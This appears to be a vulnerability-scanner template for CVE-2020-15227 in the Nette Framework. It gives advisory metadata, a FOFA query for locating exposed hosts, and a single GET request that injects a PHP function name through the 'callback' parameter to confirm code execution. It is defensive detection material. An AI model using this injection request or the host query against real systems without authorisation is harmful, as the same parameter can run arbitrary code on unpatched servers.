Nette Framework - Remote Code Execution

id: CVE-2020-15227

info:
  name: Nette Framework - Remote Code Execution
  author: becivells
  severity: critical
  description: Nette Framework versions before 2.0.19, 2.1.13, 2.2.10, 2.3.14, 2.4.16, and 3.0.6 are vulnerable to a code injection attack via specially formed parameters being passed to a URL. Nette is a PHP/Composer MVC Framework.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches provided by the Nette Framework to fix the deserialization vulnerability.
  reference:
    - https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94
    - https://github.com/Mr-xn/Penetration_Testing_POC/blob/02546075f378a9effeb6426fc17beb66b6d5c8ee/books/Nette%E6%A1%86%E6%9E%B6%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C(CVE-2020-15227).md
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15227
    - https://lists.debian.org/debian-lts-announce/2021/04/msg00003.html
    - https://packagist.org/packages/nette/application
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-15227
    cwe-id: CWE-94,CWE-74
    epss-score: 0.97285
    epss-percentile: 0.99849
    cpe: cpe:2.3:a:nette:application:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nette
    product: application
    fofa-query: app="nette-Framework"
  tags: cve2020,cve,nette,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/nette.micro/?callback=phpcredits"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Credits"

      - type: word
        part: header
        words:
          - "Nette Framework"
# digest: 4b0a00483046022100ac87b598c9067d033995e435c1dcfe2b0a70b19bfcf75c66a3f4d747c6eeeccf022100f651a9eeb8c2b466377b7f3e42ef74086dbc33dbe6c116e69b13f39f71622087:922c64590222798bb761d5b6d8e72950